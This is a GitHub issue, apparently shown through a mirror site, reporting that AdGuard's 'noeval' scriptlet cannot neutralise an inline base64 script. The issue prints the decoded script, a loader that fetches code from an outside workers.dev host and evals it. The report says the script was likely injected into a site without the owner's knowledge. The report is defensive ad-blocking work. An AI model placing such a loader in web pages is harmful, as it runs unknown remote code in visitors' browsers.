AdguardTeam / AdguardTeam/Scriptlets

Fix 'noeval' — cannot break inline 'data:text/javascript;base64' script

未關閉
#358 3 則留言 0 個 reaction 已指派 1 人 已被 @maximtop 認領 在 GitHub 檢視
bug Priority: P4
主要語言
JavaScript
星號
195
分支
33
PR 合併指標
30 天內沒有已合併 PR

描述

### Inline script

``

### Decoded script

`const get_script=()=>{const request=new XMLHttpRequest();request.open('GET','https://dust-0001.delorazahnow.workers.dev/',false);request.send(null);return request.responseText;}
eval(get_script());`

### Expected behavior

'noeval' does not break encoded or decoded script.

Related to https://github.com/AdguardTeam/AdguardFilters/issues/160588 The script was probably added without the site owner's knowledge, and now the script is not on the site.

### Environment

Chrome 116
`AdGuard 4.2.167` or `AdGuard for Windows 7.15 n8`

貢獻指南

這個儲存庫沒有索引到貢獻指南

評估

這個 Issue 還沒有評估資料。

把新 issue 寄到你的電子郵件信箱

精選適合新手參與的 GitHub issue 摘要。